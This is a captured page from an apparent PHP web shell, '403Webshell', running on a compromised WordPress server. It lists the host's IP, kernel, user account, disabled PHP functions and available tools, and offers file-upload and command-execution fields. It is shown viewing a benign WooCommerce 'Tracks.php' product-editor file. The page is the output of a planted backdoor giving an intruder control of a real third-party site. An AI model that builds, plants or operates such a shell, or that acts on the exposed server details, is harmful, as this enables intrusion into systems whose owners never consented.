403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/www/wp-content/plugins/woocommerce/src/Admin/Features/ProductBlockEditor/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/www/wp-content/plugins/woocommerce/src/Admin/Features/ProductBlockEditor/Tracks.php
<?php
/**
 * WooCommerce Product Block Editor
 */

namespace Automattic\WooCommerce\Admin\Features\ProductBlockEditor;

/**
 * Add tracks for the product block editor.
 *
 * @deprecated 10.9.0 Product editor extension APIs will be removed in WooCommerce 11.0.
 */
class Tracks {

	/**
	 * Initialize the tracks.
	 */
	public function init() {
		add_filter( 'woocommerce_product_source', array( $this, 'add_product_source' ) );
	}

	/**
	 * Check if a URL is a product editor page.
	 *
	 * @param string $url Url to check.
	 * @return boolean
	 */
	protected function is_product_editor_page( $url ) {
		$query_string = wp_parse_url( wp_get_referer(), PHP_URL_QUERY );
		parse_str( $query_string, $query );

		if ( ! isset( $query['page'] ) || 'wc-admin' !== $query['page'] || ! isset( $query['path'] ) ) {
			return false;
		}

		$path_pieces = explode( '/', $query['path'] );
		$route       = $path_pieces[1];

		return 'add-product' === $route || 'product' === $route;
	}

	/**
	 * Update the product source if we're on the product editor page.
	 *
	 * @param string $source Source of product.
	 * @return string
	 */
	public function add_product_source( $source ) {
		if ( $this->is_product_editor_page( wp_get_referer() ) ) {
			return 'product-block-editor-v1';
		}

		return $source;
	}

}

Youez - 2016 - github.com/yon3zu